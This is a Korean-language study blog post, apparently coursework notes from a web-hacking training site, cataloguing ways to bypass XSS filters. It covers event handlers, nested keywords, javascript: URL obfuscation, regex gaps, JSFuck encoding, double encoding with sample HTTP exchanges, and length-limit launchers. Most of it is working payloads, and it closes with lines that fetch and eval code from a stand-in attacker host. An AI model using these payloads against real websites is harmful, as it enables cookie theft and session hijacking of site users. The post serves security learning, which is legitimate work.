[2025-07-28] XSS Filtering Bypass

๐Ÿฆฅ ๋ณธ๋ฌธ

๋ถˆ์ถฉ๋ถ„ํ•œ XSS ํ•„ํ„ฐ๋ง

์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ ์†์„ฑ

์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ : ์ด๋ฒคํŠธ๋ฅผ ์ฒ˜๋ฆฌํ•˜๊ธฐ ์œ„ํ•œ ์ฝœ๋ฐฑ ํ˜•ํƒœ์˜ ํ•ธ๋“ค๋Ÿฌ ํ•จ์ˆ˜

  • onload : ๋ฐ์ดํ„ฐ๊ฐ€ ๋กœ๋“œํ•œ ํ›„ ์‹คํ–‰
  • onerror : ๋ฐ์ดํ„ฐ๋ฅผ ๋กœ๋“œํ•˜๋Š”๋ฐ ์‹คํŒจํ•  ์‹œ ์‹คํ–‰
  • onfocus : ์ปค์„œ๋ฅผ ํด๋ฆญํ•˜์—ฌ ํฌ์ปค์Šค๊ฐ€ ๋˜๋ฉด ์‹คํ–‰
    • autofocus : ์ž๋™์œผ๋กœ ํฌ์ปค์Šค
      <input type="text" id="inputID" 
             onfocus="alert(document.domain)" 
             autofocus>
        
      //ํ•ด์‹œ ๊ธฐ๋ฐ˜ ์ž๋™ ํฌ์ปค์Šค
      http://dreamhack.io/#inputID URL์˜ #์œผ๋กœ ์ ‘๊ทผํ•˜๋ฉด ํฌ์ปค์Šค
    

๋ฌธ์ž์—ด ์น˜ํ™˜

  • ํ•„ํ„ฐ๋ง ์šฐํšŒ
(x => x.replace(/onerror/g, ''))('<img oneonerrorrror=promonerrorpt(1)>')
--> <img onerror=prompt(1) />

โ†’ ๋ฌธ์ž์—ด์— ๋ณ€ํ™”๊ฐ€ ์—†์„ ๋•Œ๊นŒ์ง€ ์ง€์†์ ์œผ๋กœ ์น˜ํ™˜ํ•˜๋Š” ๋ฐฉ์‹

function replaceIterate(text) {
    while (true) {
        var newText = text
            .replace(/script|onerror/gi, '');
        if (newText === text) break;
        text = newText;
    }
    return text;
}
replaceIterate('<imgonerror src="data:image/svg+scronerroriptxml,&lt;svg&gt;" onloadonerror="alert(1)" />')
--> <img src="data:image/svg+xml,&lt;svg&gt;" onload="alert(1)" />
replaceIterate('<ifronerrorame srcdoc="&lt;sonerrorcript&gt;parent.alescronerroriptrt(1)&lt;/scrionerrorpt&gt;" />')
--> <iframe srcdoc="&lt;&gt;parent.alert(1)&lt;/&gt;" />

ํ•˜์ง€๋งŒ ๋ฏธ์ฒ˜ ๊ณ ๋ คํ•˜์ง€ ๋ชปํ•œ ๊ตฌ๋ฌธ์˜ ์กด์žฌ, WAF ๋ฐฉ์–ด ๋ฌด๋ ฅํ™”๋Š” ๋™์ผ

ํ™œ์„ฑ ํ•˜์ดํผ๋งํฌ

  • javascript: ์Šคํ‚ค๋งˆ๋Š” URL ๋กœ๋“œ์‹œ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ์ฝ”๋“œ ์‹คํ–‰

      <a href="javascript:alert(document.domain)">Click me!</a>
      <iframe src="javascript:alert(document.domain)">
    
  • ๋ธŒ๋ผ์šฐ์ €๊ฐ€ URL์„ ์ฒ˜๋ฆฌํ•  ๋•Œ ์ •๊ทœํ™” ๊ณผ์ • ์šฐํšŒ

      <a href="\1\4jAVasC\triPT:alert(document.domain)">Click me!</a>
      <iframe src="\1\4jAVasC\triPT:alert(document.domain)">
    
    • \x01, \x04 , \t ๊ฐ™์€ ํŠน์ˆ˜๋ฌธ์ž ์ œ๊ฑฐ
    • ๋Œ€์†Œ๋ฌธ์ž ํ†ต์ผ
  • HTML Entity Encoding ์šฐํšŒ

      <a href="\1&#4;J&#97;v&#x61;sCr\tip&tab;&colon;alert(document.domain);">Click me!</a>
      <iframe src="\1&#4;J&#97;v&#x61;sCr\tip&tab;&colon;alert(document.domain);">
    

โ†’ URL ๊ฐ์ฒด๋ฅผ ํ†ตํ•ด ์ง์ ‘ ์ •๊ทœํ™”ํ•˜์—ฌ ํ…Œ์ŠคํŠธํ•  ์ˆ˜ ์žˆ์Œ

  • protocol, hostname ๋“ฑ URL ์ •๋ณด ์ถ”์ถœ ๊ฐ€
function normalizeURL(url) {
    return new URL(url, document.baseURI);
}
normalizeURL('\4\4jAva\tScRIpT:alert(1)').href
--> "javascript:alert(1)"
normalizeURL('\4\4jAva\tScRIpT:alert(1)').protocol
--> "javascript:"
normalizeURL('\4\4jAva\tScRIpT:alert(1)').pathname
--> "alert(1)"

ํƒœ๊ทธ์™€ ์†์„ฑ ๊ธฐ๋ฐ˜ ํ•„ํ„ฐ๋ง

  • ๋Œ€/์†Œ๋ฌธ์ž ๊ฒ€์‚ฌ ๋ฏธํก
  • ์ž˜๋ชป๋œ ์ •๊ทœํ‘œํ˜„์‹
    • EX) ์Šคํฌ๋ฆฝํŠธ ํƒœ๊ทธ ๋‚ด์— ๋ฐ์ดํ„ฐ๊ฐ€ ์กด์žฌ-๊ฒ€์‚ฌ ์ •๊ทœ์‹๊ณผ ์šฐํšŒ ๋ฐฉ๋ฒ•

        x => !/<script[^>]*>[^<]/i.test(x)
        <script src="data:,alert(document.cookie)"></script>
      
    • EX2) img ํƒœ๊ทธ์— on ์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ ์กด์žฌ ๊ฒ€์‚ฌ ์ •๊ทœ์‹๊ณผ ์šฐํšŒ ๋ฐฉ๋ฒ•

        x => !/<img.*on/i.test(x)
        //์ค„๋ฐ”๊ฟˆ ๋ฌธ์ž๋ฅผ ์ด์šฉํ•œ ์šฐํšŒ 
        <img src=""\nonerror="alert(document.cookie)"/>
      
    • EX3) script, img, input ํƒœ๊ทธ ๊ฒ€์‚ฌ ๋ฐ ์šฐํšŒ

        x => !/<script|<img|<input/i.test(x)
        //๋‹ค๋ฅธ ํƒœ๊ทธ๋ฅผ ์ด์šฉํ•œ ์šฐํšŒ
        <video><source onerror="alert(document.domain)"/></video>
        <body onload="alert(document.domain)"/>
      
    • EX4) on ์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ ๊ฒ€์‚ฌ ๋ฐ ๋ฉ€ํ‹ฐ ๋ผ์ธ ๊ฒ€์‚ฌ์™€ ์šฐํšŒ ๋ฐฉ๋ฒ•

        x => !/<script|<img|<input|<.*on/is.test(x)
        //iframe์„ ํ†ตํ•œ ์šฐํšŒ
        <iframe src="javascript:alert(parent.document.domain)">
        <iframe srcdoc="<&#x69;mg src=1 &#x6f;nerror=alert(parent.document.domain)>">
      

์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ํ•จ์ˆ˜ ๋ฐ ํ‚ค์›Œ๋“œ ํ•„ํ„ฐ๋ง

  • Unicode escape sequence ์šฐํšŒ: โ€œ\uAC00โ€ == โ€œ๊ฐ€โ€ ์ฒ˜๋Ÿผ ์œ ๋‹ˆ์ฝ”๋“œ ๋ฌธ์ž๋ฅผ ์ฝ”๋“œํฌ์ธํŠธ๋กœ ๋‚˜ํƒ€๋‚ผ ์ˆ˜ ์žˆ๋Š” ํ‘œํ˜„๋ฒ•์„ ํ†ตํ•œ ์šฐํšŒ
var foo = "\u0063ookie";  // cookie
var bar = "cooki\x65";  // cookie
\u0061lert(document.cookie);  // alert(document.cookie)
  • Computed member access ์šฐํšŒ : ํŠน์ • ์†์„ฑ์— ์ ‘๊ทผํ•  ๋•Œ ์†์„ฑ ์ด๋ฆ„์„ ๋™์ ์œผ๋กœ ๊ณ„์‚ฐํ•˜๋Š” ๊ธฐ๋Šฅ
alert(document["\u0063ook" + "ie"]);  // alert(document.cookie)
window['al\x65rt'](document["\u0063ook" + "ie"]);  // alert(document.cookie)
  • ํ‚ค์›Œ๋“œ ํ•„ํ„ฐ๋ง ์šฐํšŒ

| ๊ตฌ๋ฌธ | ๋Œ€์ฒด ๊ตฌ๋ฌธ | | โ€” | โ€” | | alert, XMLHttpRequest ๋“ฑ ๋ฌธ์„œ ์ตœ์ƒ์œ„ ๊ฐ์ฒด ๋ฐ ํ•จ์ˆ˜ | window['al'+'ert'], window['XMLHtt'+'pRequest'] ๋“ฑ ์ด๋ฆ„ ๋Š์–ด์„œ ์“ฐ๊ธฐ | | window | self, this | | eval(code) | Function(code)() | | Function | isNaN['constr'+'uctor'] ๋“ฑ ํ•จ์ˆ˜์˜ constructor ์†์„ฑ ์ ‘๊ทผ |

  • [ , ] , ( , ) , ! , + ์„ ์ด์šฉํ•˜์—ฌ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ์˜ ๋™์ž‘ ์ˆ˜ํ–‰ ๊ฐ€๋Šฅ
alert(1)
->
[][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[+!+[]]]+[+!+[]]+([]+[]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[!+[]+!+[]]])
false => ![]
true => !![]
  • https://jsfuck.com/

  • ๋ฌธ์ž์—ด
    • ํ…œํ”Œ๋ฆฟ ๋ฆฌํ„ฐ๋Ÿด : [ , ] , ( , ) , โ€œ, โ€˜ ์ด ํ•„ํ„ฐ๋ง๋˜์–ด ์žˆ์„ ๋•Œ ๋ฌธ์ž์—ด ๋ฆฌํ„ฐ๋Ÿด. ๋ฐฑํ‹ฑ(``` )์œผ๋กœ ๊ฐ์‹ธ์„œ ๋ฌธ์ž์—ด ์ •์˜. ๋ณ€์ˆ˜๋‚˜ ์‹์„ ${} ์•ˆ์— ๋„ฃ์–ด ๋ฌธ์ž์—ด ์ค‘๊ฐ„์— ์‚ฝ์ž… ๊ฐ€๋Šฅ

        var foo = "Hello";
        var bar = "World";
        var baz = `${foo},
        ${bar} ${1+1}.`; // "Hello,\nWorld 2."
      
    • RegExp ๊ฐ์ฒด ์‚ฌ์šฉ : RegExp ๊ฐ์ฒด ์ƒ์„ฑํ•˜๊ณ  ๊ฐ์ฒด์˜ ํŒจํ„ด ๋ถ€๋ถ„์„ ๊ฐ€์ ธ์™€์„œ ๋ฌธ์ž์—ด ์ƒ์„ฑ ๊ฐ€๋Šฅ

      var foo = /Hello World!/.source;  // "Hello World!"
      var bar = /test !/ + [];  // "/test !/"
    
    • String.fromCharCode ํ•จ์ˆ˜ ์‚ฌ์šฉ
      var foo = String.fromCharCode(72, 101, 108, 108, 111);  // "Hello"
    
    • ๊ธฐ๋ณธ ๋‚ด์žฅ ํ•จ์ˆ˜๋‚˜ ๊ฐ์ฒด์˜ ๋ฌธ์ž ์‚ฌ์šฉ : toString ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•ด ๋ฌธ์ž์—ด๋กœ ๋ณ€ํ™˜
        
      //history.toString() => [object History] ๋ฐ˜ํ™˜
      var baz = history.toString()[8] + // "H"
        
      //์‚ฐ์ˆ  ์—ฐ์‚ฐ ์‹œ ๊ฐ์ฒด ๋‚ด๋ถ€์ ์œผ๋กœ ๋ฌธ์ž์—ด ๋ณ€ํ™˜
      (history+[])[9] + // "i"
        
      //URL.toString() => function URL(){[native code]} ๋ฐ˜ํ™˜
      (URL+0)[12] + // "("
      (URL+0)[13]; // ")" ==> "Hi()"
    
    • ์ˆซ์ž ๊ฐ์ฒด์˜ ์ง„๋ฒ• ๋ณ€ํ™˜ : ์•„์Šคํ‚ค ์ฝ”๋“œ๋ฅผ ์ด์šฉ. ๋ฌธ๋ฒ• ์—๋Ÿฌ๋ฅผ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด ๊ด„ํ˜ธ, ์  ๋‘๊ฐœ, ๊ณต๋ฐฑ๊ณผ ์ ์„ ์ด์šฉ
      var foo = (29234652).toString(36); // "hello"
      var foo = 29234652..toString(36); // "hello"
      var bar = 29234652 .toString(36); // "hello"
    
  • ํ•จ์ˆ˜ ํ˜ธ์ถœ : ํ•จ์ˆ˜ ํ˜ธ์ถœ์„ ์œ„ํ•ด์„œ๋Š” ์†Œ๊ด„ํ˜ธ ๋˜๋Š” ๋ฐฑํ‹ฑ ์‚ฌ์šฉ.

      alert(1); // Parentheses
      alert`1`; // Tagged Templates
    
    • javascript: ์Šคํ‚ค๋งˆ๋ฅผ ์ด์šฉํ•œ location ๋ณ€๊ฒฝ

        location="javascript:alert\x28document.domain\x29;";
        location.href="javascript:alert\u0028document.domain\u0029;";
        location['href']="javascript:alert\050document.domain\051;";
      
    • Symbol.hasInstance ์˜ค๋ฒ„๋ผ์ด๋”ฉ : Symbol.hasInstance well-known symbol์„ ์ด์šฉํ•˜๋ฉด instanceof ์—ฐ์‚ฐ์ž๋ฅผ ์˜ค๋ฒ„๋ผ์ด๋“œ
      • Symbol : ์›์‹œ ๋ฐ์ดํ„ฐ ํƒ€์ž…. ์œ ์ผํ•˜๊ณ  ๋ณ€๊ฒฝ ๋ถˆ๊ฐ€๋Šฅํ•œ ๊ฐ’ ์ƒ์„ฑ
        "alert\x28document.domain\x29"instanceof{[Symbol.hasInstance]:eval};
        Array.prototype[Symbol.hasInstance]=eval;"alert\x28document.domain\x29"instanceof[];
      
    • document.body.innerHTML ์ถ”๊ฐ€ : ๋ฌธ์„œ ๋‚ด ์ƒˆ๋กœ์šด HTML ์ฝ”๋“œ ์ถ”๊ฐ€ ๊ฐ€๋Šฅ. ํ•˜์ง€๋งŒ <sciprt> ํƒœ๊ทธ๋Š” ์‚ฝ์ž…ํ•ด๋„ ์‹คํ–‰ ๋ถˆ๊ฐ€

        document.body.innerHTML+="<img src=x: onerror=alert&#40;1&#41;>";
        document.body.innerHTML+="<body src=x: onload=alert&#40;1&#41;>";
      

๋””์ฝ”๋”ฉ ์ „ ํ•„ํ„ฐ๋ง

๋”๋ธ” ์ธ์ฝ”๋”ฉ : ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ์ „๋‹ฌ๋ฐ›์€ ๋ฐ์ดํ„ฐ๋ฅผ ๋‹ค์‹œ ๋””์ฝ”๋”ฉํ•ด์„œ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ ๋ฐœ์ƒ. ์›น ๋ฐฉํ™”๋ฒฝ์˜ ๊ฒ€์ฆ ์šฐํšŒ ๊ฐ€๋Šฅ

  • ๋™์ž‘ ํ๋ฆ„ ์˜ˆ์‹œ
    1. ๊ณต๊ฒฉ์ž๊ฐ€ ๋”๋ธ” URL ์ธ์ฝ”๋”ฉํ•œ ๊ณต๊ฒฉ ์ฝ”๋“œ %253Cscript%253Eโ€ฆ
    2. ์›น ๋ฐฉํ™”๋ฒฝ์ด ํ•ด๋‹น ๋ฐ์ดํ„ฐ๋ฅผ ๋””์ฝ”๋”ฉ ํ›„ ๊ฒ€์ฆ. ๋””์ฝ”๋”ฉํ•œ ๊ฒฐ๊ณผ %253Cscript%253Eโ€ฆ ์•ˆ์ „ํ•˜๋‹ค๊ณ  ํŒ๋‹จ
    3. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ํ•ด๋‹น ๋ฐ์ดํ„ฐ๋ฅผ ๋””์ฝ”๋”ฉํ•˜์—ฌ <script> ๋ฅผ ๊ฒŒ์‹œํŒ DB์— ์ €์žฅ
    4. ํฌ์ƒ์ž๊ฐ€ ํ•ด๋‹น ๊ฒŒ์‹œ๊ธ€์„ ์ฝ์œผ๋ฉด XSS ๋ฐœ์ƒ

๋”๋ธ” ๋””์ฝ”๋”ฉ : ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๊ฒ€์ฆ ๋กœ์ง ์ดํ›„์—๋„ ๋””์ฝ”๋”ฉ์„ ํ•˜๋Š” ๊ฒฝ์šฐ ๋ฐœ์ƒ.

  • EX)

        
      <?php
      $query = $_GET["query"];
      if (stripos($query, "<script>") !== FALSE) {
          header("HTTP/1.1 403 Forbidden");
          die("XSS attempt detected: " . htmlspecialchars($query, ENT_QUOTES|ENT_HTML5, "UTF-8"));
      }
      ...
      $searchQuery = urldecode($_GET["query"]);
      ?>
      <h1>Search results for: <?php echo $searchQuery; ?></h1>
        
      //๊ณต๊ฒฉ ์‹คํŒจ ์˜ˆ์‹œ
      POST /search?query=%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1
      ...
      -----
      HTTP/1.1 403 Forbidden
      XSS attempt detected: &lt;script&gt;alert(document.cookie)&lt;/script&gt;
        
      //๋”๋ธ” ์ธ์ฝ”๋”ฉ์„ ํ†ตํ•œ ๊ณต๊ฒฉ ์„ฑ๊ณต
      POST /search?query=%253Cscript%253Ealert(document.cookie)%253C/script%253E HTTP/1.1
      ...
      -----
      HTTP/1.1 200 OK
      <h1>Search results for: <script>alert(document.cookie)</script></h1>
    

๊ธธ์ด ์ œํ•œ

๊ธธ์ด ์ œํ•œ์˜ ๊ฒฝ์šฐ, ๋‹ค๋ฅธ ๊ฒฝ๋กœ๋กœ ์‹คํ–‰ํ•  ์ถ”๊ฐ€์ ์ธ ์ฝ”๋“œ(payload)๋ฅผ URL fragment๋กœ ์‚ฝ์ž… ํ›„, ์‚ฝ์ž… ์ง€์ ์—์„œ ๋ณธ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ์งง์€ ์ฝ”๋“œ (launcher)๋ฅผ ์‚ฌ์šฉ ๊ฐ€๋Šฅ

  • Fragment๋กœ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋„˜๊ฒจ์ค€ ํ›„ XSS ์ง€์ ์—์„œ location.hash๋กœ URL์˜ Fragment ๋ถ€๋ถ„์„ ์ถ”์ถœํ•˜์—ฌ eval()๋กœ ์‹คํ–‰ํ•˜๋Š” ๊ธฐ๋ฒ•

      https://example.com/?q=<img onerror="eval(location.hash.slice(1))">#alert(document.cookie); 
    
  • ์ฟ ํ‚ค์— ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ €์žฅํ•˜๋Š” ๋ฐฉ์‹
  • import ๊ฐ™์€ ์™ธ๋ถ€ ์ž์›์„ ์Šคํฌ๋ฆฝํŠธ๋กœ ๋กœ๋“œํ•˜๋Š” ๋ฐฉ์‹

      import("http://malice.dreamhack.io");
        
      var e = document.createElement('script')
      e.src='http://malice.dreamhack.io';
      document.appendChild(e);
        
      fetch('http://malice.dreamhack.io').then(x=>eval(x.text()))
    

Categories:

Updated:

Leave a comment